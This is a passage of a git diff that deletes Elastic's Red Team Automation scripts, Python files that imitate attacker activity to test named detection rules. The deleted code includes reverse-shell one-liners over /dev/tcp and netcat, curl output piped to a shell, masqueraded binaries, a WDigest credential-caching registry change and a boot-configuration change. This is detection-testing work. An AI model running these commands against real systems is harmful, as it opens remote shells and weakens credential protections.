uuid="8b7461f9-d569-4558-a4cf-7e476210eae8", - platforms=["linux"], - endpoint=[ - { - "rule_name": "File Downloaded from Suspicious Source by Web Server", - "rule_id": "14f332f1-b20b-4628-b6de-14a4626fba79", - }, - ], - techniques=["T1505", "T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/sh" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "-c", "curl http://8.8.8.8:53 --output"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_persistence_webserver_curl_wget_piped_to_interpreter.py b/rta/linux_persistence_webserver_curl_wget_piped_to_interpreter.py deleted file mode 100644 index 77ad90d1c..000000000 --- a/rta/linux_persistence_webserver_curl_wget_piped_to_interpreter.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="6a25935b-be53-4447-a5b4-e413f1d2351a", - platforms=["linux"], - endpoint=[ - { - "rule_name": "File Downloaded and Piped to Interpreter by Web Server", - "rule_id": "2588a595-c6c7-4d8d-b287-57b9d1e3d7e6", - }, - ], - techniques=["T1505", "T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/sh" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "-c", "curl http://8.8.8.8:53/foo | /tmp/sh"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_persistence_webserver_curl_wget_suspicious_redirect.py b/rta/linux_persistence_webserver_curl_wget_suspicious_redirect.py deleted file mode 100644 index 9decd710e..000000000 --- a/rta/linux_persistence_webserver_curl_wget_suspicious_redirect.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="a153dec0-914a-4a03-8b6c-a24e55b6f16a", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Suspicious Download and Redirect by Web Server", - "rule_id": "fa71e336-0177-4732-b58b-53eb4a87a286", - }, - ], - techniques=["T1505", "T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/sh" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "-c", "curl http://8.8.8.8:53/foo > /tmp/foo && xxd"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_python_netcon_file_creation.py b/rta/linux_python_netcon_file_creation.py deleted file mode 100644 index 835442e5b..000000000 --- a/rta/linux_python_netcon_file_creation.py +++ /dev/null @@ -1,67 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import socket -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="d1ad870e-9b38-429b-bc9c-62b4b9ba2821", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Python Network Connection Followed by File Creation", - "rule_id": "1a2596ff-a5e7-4562-af17-97dbaf9284d5", - }, - ], - techniques=["T1071", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - # Define the paths - masquerade = "/dev/shm/python" - file_path = "/dev/shm/file" - - # Create a fake Python executable by copying a valid executable - with Path(masquerade).open("w", encoding="utf-8") as f: - f.write("#!/bin/bash\n") - f.write('exec python "$@"\n') - - # Grant execute permissions - Path(masquerade).chmod(0o755) - - # Perform a network connection to 8.8.8.8 - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(1) - sock.connect(("8.8.8.8", 53)) - sock.close() - print("Network connection successful.") - except OSError as e: - print(f"Network connection failed: {e}") - - # Create a file using the Python process - try: - with Path(file_path).open("w", encoding="utf-8") as f: - f.write("foo") - print("File creation successful.") - except OSError as e: - print(f"File creation failed: {e}") - - # Clean up - try: - common.remove_file(masquerade) - common.remove_file(file_path) - print("Cleanup successful.") - except OSError as e: - print(f"Cleanup failed: {e}") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_reverse_shell.py b/rta/linux_reverse_shell.py deleted file mode 100644 index ad323748a..000000000 --- a/rta/linux_reverse_shell.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import subprocess - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="a5603982-8b43-4ea9-b8de-112d9817e12d", - platforms=["linux"], - endpoint=[{"rule_name": "Linux Reverse Shell", "rule_id": "52206861-4570-4b8b-a73e-4ef0ea379a4c"}], - siem=[], - techniques=["T1059", "T1071"], -) - - -@common.requires_os(metadata.platforms) -def main() -> None: - common.log("Creating the bash command to execute to get the proper parent/child relationship in place...") - # Bash command that attempts a network connection and then starts a new bash process with the -i flag - bash_command = 'exec 3<>/dev/tcp/8.8.8.8/53; echo -e "Connection Test" >&3; exec 3<&-; exec 3>&-; exec bash -i' - common.log("Executing the bash command...") - # Use subprocess.Popen to execute the bash command - subprocess.Popen(["bash", "-c", bash_command]) # noqa: S603 S607 - common.log("Simulation successful!") - - -if __name__ == "__main__": - main() diff --git a/rta/linux_reverse_shell_via_netcat.py b/rta/linux_reverse_shell_via_netcat.py deleted file mode 100644 index 5eb878fca..000000000 --- a/rta/linux_reverse_shell_via_netcat.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="ecb34b55-2947-48af-b746-3a472abfda43", - platforms=["linux"], - endpoint=[{"rule_name": "Linux Reverse Shell via netcat", "rule_id": "c0ca8114-254d-46ba-88c6-db57de6efe2d"}], - siem=[], - techniques=["T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake nc executable..") - masquerade = "/tmp/nc" - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - commands = [masquerade, "chain", "-h", "8.8.8.8", "-p", "1234", "-c", "-e", "nc 8.8.8.8 1234"] - common.log("Simulating reverse shell activity..") - common.execute([*commands], timeout=5, kill=True, shell=True) # noqa: S604 - common.log("Reverse shell simulation successful!") - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_reverse_shell_via_utility.py b/rta/linux_reverse_shell_via_utility.py deleted file mode 100644 index 84e1d3112..000000000 --- a/rta/linux_reverse_shell_via_utility.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="d768af98-4e0b-451a-bc29-04b0be110ee5", - platforms=["linux"], - endpoint=[ - {"rule_name": "Linux Reverse Shell via Suspicious Utility", "rule_id": "c71b9783-ca42-4532-8eb3-e8f2fe32ff39"}, - ], - siem=[], - techniques=["T1059", "T1071"], -) - - -@common.requires_os(metadata.platforms) -def main() -> None: - common.log("Creating a fake awk executable..") - masquerade = "/tmp/awk" - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - commands = [masquerade, "chain", "-h", "8.8.8.8", "-p", "1234", "-c", "/inet/tcp/1234"] - common.log("Simulating reverse shell activity..") - common.execute([*commands], timeout=5, kill=True) - common.log("Reverse shell simulation successful!") - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_sus_netcon_command_exec.py b/rta/linux_sus_netcon_command_exec.py deleted file mode 100644 index 1224567db..000000000 --- a/rta/linux_sus_netcon_command_exec.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="1b24ddc7-c01c-4d24-a00e-0738a40b6dd6", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Network Connection Followed by Command Execution", - "rule_id": "8c2977dd-07ce-4a8e-8ccd-5e4183138675", - }, - ], - techniques=["T1071", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/dev/shm/netcon" - masquerade2 = "/dev/shm/bash" - source = common.get_path("bin", "netcon_exec_chain.elf") - source2 = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.copy_file(source2, masquerade2) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - common.execute(["chmod", "+x", masquerade2]) - - commands = [masquerade2, masquerade, "chain", "-h", "8.8.8.8", "-p", "53", "-c", "whoami"] - common.execute([*commands], timeout=5, kill=True, shell=True) # noqa: S604 - common.log("Cleaning...") - common.remove_file(masquerade) - common.remove_file(masquerade2) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_sus_netcon_file_creation.py b/rta/linux_sus_netcon_file_creation.py deleted file mode 100644 index da8899120..000000000 --- a/rta/linux_sus_netcon_file_creation.py +++ /dev/null @@ -1,60 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="41d3cdaf-a72e-49bb-b92f-99bfe21e0854", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Network Connection Followed by File Creation", - "rule_id": "08ad673a-7f99-417e-8b93-a79d4faeeed3", - }, - ], - techniques=["T1071", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - script_path = "/dev/shm/evil" - file_path = "/dev/shm/evil.txt" - - # Create a bash script that performs network connection and file creation - script_content = f"""#!/bin/bash -# Perform network connection using bash built-in tools -exec 3<>/dev/tcp/8.8.8.8/53 -# Create a file -echo "Hello, World!" > {file_path} -""" - - # Write the script content to the file - with Path(script_path).open("w", encoding="utf-8") as script_file: - script_file.write(script_content) - - # Grant execute permissions to the script - Path(script_path).chmod(0o755) - - # Execute the script - common.log("Executing the bash script...") - common.execute([script_path], timeout=5, kill=True) - - # Verify if the file was created - if Path(file_path).exists(): - common.log("File creation successful.") - - # Clean up - common.log("Cleaning up...") - common.remove_file(script_path) - common.remove_file(file_path) - common.log("Cleanup successful.") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_systemd_executing_sus_located_binary.py b/rta/linux_systemd_executing_sus_located_binary.py deleted file mode 100644 index 0cfcc4a4f..000000000 --- a/rta/linux_systemd_executing_sus_located_binary.py +++ /dev/null @@ -1,51 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - -metadata = RtaMetadata( - uuid="5b277316-4584-4e4f-8a71-6c7d833e2c30", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Scheduled Job Executing Binary in Unusual Location", - "rule_id": "f2a52d42-2410-468b-9910-26823c6ef822" - } - ], - techniques=["T1543", "T1053"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # Path for the fake systemd script - fake_systemd = "/tmp/systemd" - - # Create fake sh executable - masquerade = "/tmp/sh" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Create a fake systemd script that launches sh - with open(fake_systemd, 'w') as script: - script.write('#!/bin/bash\n') - script.write('/tmp/sh\n') - - # Make the script executable - common.execute(['chmod', '+x', fake_systemd]) - common.execute(['chmod', '+x', masquerade]) - - # Execute the fake systemd script - common.log("Launching a shell that executes a payload as a child of fake systemd") - common.execute([fake_systemd], timeout=5, kill=True, shell=True) - - # Cleanup - common.remove_file(fake_systemd) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/linux_systemd_netcon.py b/rta/linux_systemd_netcon.py deleted file mode 100644 index c59b79ee1..000000000 --- a/rta/linux_systemd_netcon.py +++ /dev/null @@ -1,59 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import os -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="517a466b-f11f-4469-8e5a-a39f4edf333a", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Systemd Execution Followed by Network Connection", - "rule_id": "6644d936-36a2-4d21-95f3-4826e6b61b9b", - }, - ], - techniques=["T1543", "T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - shell_command = "/tmp/bash" - shell_args = "-c 'sh -i >& /dev/tcp/8.8.8.8/53 0>&1'" - parent_process = "/tmp/systemd" - - common.execute(["cp", "/bin/bash", shell_command]) - - # Create the fake parent process script - with Path(parent_process).open("w", encoding="utf-8") as script: - script.write("#!/bin/bash\n") - script.write(f"{shell_command} {shell_args}\n") - - # Make the script executable - common.execute(["chmod", "+x", parent_process]) - common.execute(["chmod", "+x", shell_command]) - - # Use os.fork() to simulate the parent/child relationship - pid = os.fork() - if pid == 0: - # Child process: Execute the fake parent process script - os.execl(parent_process, parent_process) # noqa: S606 - else: - # Parent process: Wait for the child process to complete - os.waitpid(pid, 0) - common.log("Fake parent process script executed") - common.log("RTA execution completed.") - - # Cleanup - common.remove_file(parent_process) - common.remove_file(shell_command) # Remove the copied /tmp/bash - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_unusual_scheduled_task_command_exection.py b/rta/linux_unusual_scheduled_task_command_exection.py deleted file mode 100644 index 42124477a..000000000 --- a/rta/linux_unusual_scheduled_task_command_exection.py +++ /dev/null @@ -1,51 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="0c55d2bd-924b-44a0-8f75-8fb6fc2427bf", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Scheduled Task Unusual Command Execution", - "rule_id": "46b142a6-3d54-45e7-ad8a-7a4bc9bfe01c", - }, - ], - techniques=["T1053", "T1543", "T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - # Path for the fake systemd script - fake_systemd = "/tmp/systemd" - - # Create fake sh executable - masquerade = "/tmp/sh" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Create a fake cron script that launches sh - with Path(fake_systemd).open("w", encoding="utf-8") as script: - script.write("#!/bin/bash\n") - script.write('/tmp/sh -c "echo /dev/tcp/8.8.8.8/53"\n') - - # Make the script executable - common.execute(["chmod", "+x", fake_systemd]) - - # Execute the fake cron script - common.log("Launching a shell that executes a payload as a child of fake systemd") - common.execute([fake_systemd], timeout=5, kill=True, shell=True) # noqa: S604 - - # Cleanup - common.remove_file(fake_systemd) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/login_hook.py b/rta/login_hook.py deleted file mode 100644 index deee6b744..000000000 --- a/rta/login_hook.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="26339b1f-05ba-4fd8-94c2-8ee1613e4590", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "Persistence via Login or Logout Hook", "rule_id": "5d0265bf-dea9-41a9-92ad-48a8dcd05080"}], - techniques=["T1037"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/defaults" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake defaults command to mimic installing a login hook.") - common.execute([masquerade, "write", "LoginHook"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/login_window_plist.py b/rta/login_window_plist.py deleted file mode 100644 index 5cc8da5d6..000000000 --- a/rta/login_window_plist.py +++ /dev/null @@ -1,27 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="3c8fc2cc-fa66-4c91-ae72-c72accaa92b7", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "Potential Persistence via Login Hook", "rule_id": "ac412404-57a5-476f-858f-4e8fbb4f48d8"}], - techniques=["T1547"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing deletion on /tmp/com.apple.loginwindow.plist file.") - common.temporary_file_helper("testing", file_name="/tmp/com.apple.loginwindow.plist") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/lua_image_load.py b/rta/lua_image_load.py deleted file mode 100644 index fe36b145e..000000000 --- a/rta/lua_image_load.py +++ /dev/null @@ -1,60 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="860e5968-c31f-4928-ac05-3c3c2d19450c", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious Windows LUA Script Execution", "rule_id": "8f237d98-1825-4c27-a5cd-e38bde70882a"} - ], - siem=[], - techniques=["T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - posh = "C:\\Users\\Public\\posh.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\luacom.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(EXE_FILE, posh) - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - - # Modify the originalfilename to invalidate the code sig - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "unsigned.exe"]) - - common.log("Loading luacom.dll into fake posh") - common.execute( - [ - posh, - "-c", - f"Import-Module {ps1}; Invoke-ImageLoad {dll};", - "Test-NetConnection", - "-ComputerName", - "portquiz.net", - "-Port", - "445", - ], - timeout=10, - ) - - common.remove_files(posh, dll, ps1, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/mac_office_descendant.py b/rta/mac_office_descendant.py deleted file mode 100644 index 2bfa69308..000000000 --- a/rta/mac_office_descendant.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Mac Descendant of an Office Application -# RTA: mac_office_descendant.py -# Description: Creates a suspicious process spawned from "Microsoft Word" - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="bb523eb1-db67-4ae6-9369-af1a93322817", - platforms=["macos"], - endpoint=[], - siem=[], - techniques=[] -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Emulating Microsoft Word running enumeration commands") - office_path = Path("Microsoft Word").resolve() - common.copy_file("/bin/sh", office_path) - - common.execute([office_path], stdin="whoami") - - common.remove_files(office_path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/macos_installer_curl.py b/rta/macos_installer_curl.py deleted file mode 100644 index 05cd75857..000000000 --- a/rta/macos_installer_curl.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="34040af5-1231-4e97-8189-a26d6622b2e5", - platforms=["macos"], - endpoint=[ - {"rule_name": "Initial Access via macOS Installer Package", "rule_id": "d40ffcba-b83e-4d0a-8d6d-84385def8e18"} - ], - siem=[], - techniques=["T1105", "T1543", "T1082", "T1566", "T1204", "T1547", "T1569", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # create masquerades - masquerade = "/tmp/Installer" - masquerade2 = "/tmp/curl" - common.create_macos_masquerade(masquerade) - common.create_macos_masquerade(masquerade2) - - # Execute command - common.log("Launching fake macOS installer commands to download payload") - common.execute([masquerade], timeout=10, kill=True) - - command = f"{masquerade2} test.amazonaws.comtest " - common.execute([masquerade, "childprocess", command], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/message_of_the_day_execution.py b/rta/message_of_the_day_execution.py deleted file mode 100644 index 811d34cf8..000000000 --- a/rta/message_of_the_day_execution.py +++ /dev/null @@ -1,53 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="33f3ebda-7776-4cec-933b-48e85d707d61", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Suspicious Process Spawned from MOTD Detected", - "rule_id": "b9b3922a-59ee-407c-8773-31b98bf9b18d", - }, - ], - siem=[ - { - "rule_name": "Suspicious Process Spawned from MOTD Detected", - "rule_id": "4ec47004-b34a-42e6-8003-376a123ea447", - }, - ], - techniques=[""], -) - - -@common.requires_os(metadata.platforms) -def main() -> None: - common.log("Creating a fake MOTD executable..") - masquerade = "/etc/update-motd.d/socat" - dir_path = "/etc/update-motd.d/" - source = common.get_path("bin", "netcon_exec_chain.elf") - common.log("Granting directory permissions for copy") - common.execute(["sudo", "chmod", "777", dir_path]) - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "exec", "-c", "nc -vz localhost 22"] - - common.log("Simulating MOTD netcat activity..") - common.execute([*commands], timeout=5) - common.log("MOTD netcat simulation successful!") - common.log("Cleaning...") - common.remove_file(masquerade) - common.execute(["sudo", "chmod", "755", dir_path]) - common.log("RTA completed!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/mimikatz_cmdline.py b/rta/mimikatz_cmdline.py deleted file mode 100644 index e2a17047d..000000000 --- a/rta/mimikatz_cmdline.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="75fdde39-92bb-4a71-a4f1-f70e9c85d6db", - platforms=["windows"], - endpoint=[ - {"rule_name": "Potential Credential Access via Mimikatz", "rule_id": "86bf5d50-7f5d-44b4-977b-dff222379727"} - ], - siem=[], - techniques=["T1558", "T1003"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.log("Echoing a mimikatz command") - common.execute([powershell, "echo", "misc::memssp"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/mimipenguin_execution.py b/rta/mimipenguin_execution.py deleted file mode 100644 index 792b70d4c..000000000 --- a/rta/mimipenguin_execution.py +++ /dev/null @@ -1,50 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="e5a98cc9-1f15-4d14-baf2-96bebb932ae9", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Linux Credential Dumping via Proc Filesystem", - "rule_id": "508226f9-4030-4e86-86cd-63321b7164bc", - } - ], - siem=[ - { - "rule_name": "Potential Linux Credential Dumping via Proc Filesystem", - "rule_id": "ef100a2e-ecd4-4f72-9d1e-2f779ff3c311" - } - ], - techniques=["T1212", "T1003", "T1003.007"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/ps" - masquerade2 = "/tmp/strings" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.copy_file(source,masquerade2) - - # Execute command - common.log("Launching fake commands to dump credential via proc") - common.execute([masquerade, "-eo", "pid", "command"], timeout=10, kill=True) - common.execute([masquerade2, "/tmp/test"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/modification_of_wdigest_security_provider.py b/rta/modification_of_wdigest_security_provider.py deleted file mode 100644 index e8c77739a..000000000 --- a/rta/modification_of_wdigest_security_provider.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="878ffa93-dea6-48f8-9441-e199bc23ec6b", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'd703a5af-d5b0-43bd-8ddb-7a5d500b7da5', 'rule_name': 'Modification of WDigest Security Provider'}], - techniques=["T1003"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - key = "System\\CurrentControlSet\\Control\\SecurityProviders\\WDigest" - value = "UseLogonCredential" - data = 1 - - with common.temporary_reg(common.HKLM, key, value, data, data_type="dword"): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/modify_bootconf.py b/rta/modify_bootconf.py deleted file mode 100644 index ead87d16d..000000000 --- a/rta/modify_bootconf.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="672cd0e6-fa5a-468f-80c8-04f92bead469", - platforms=["windows"], - endpoint=[{"rule_name": "BCDEdit Safe Mode Command Execution", "rule_id": "6d660b32-23bf-434b-a588-1cdc91224664"}], - siem=[], - techniques=["T1490", "T1218", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed.exe") - - -def main(): - binary = "winword.exe" - common.copy_file(EXE_FILE, binary) - bcdedit = "bcdedit.exe" - - # Messing with the boot configuration is not a great idea so create a backup: - common.log("Exporting the boot configuration....") - backup_file = Path("boot.cfg").resolve() - common.execute([bcdedit, "/export", backup_file]) - - # WARNING: this sets up computer to boot into Safe Mode upon reboot - common.log("Changing boot configuration", log_type="!") - common.execute([binary, "/c", bcdedit, "/set", "{default}", "safeboot", "minimal"]) - - # Delete value to not boot into Safe Mode - common.log("Reset boot configuration", log_type="!") - common.execute([binary, "/c", bcdedit, "/deletevalue", "safeboot"]) - - # Restore the boot configuration - common.log("Restoring boot configuration from %s" % backup_file, log_type="-") - common.execute([bcdedit, "/import", backup_file]) - - common.remove_files(binary) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/modify_sublime_app.py b/rta/modify_sublime_app.py deleted file mode 100644 index 05463781c..000000000 --- a/rta/modify_sublime_app.py 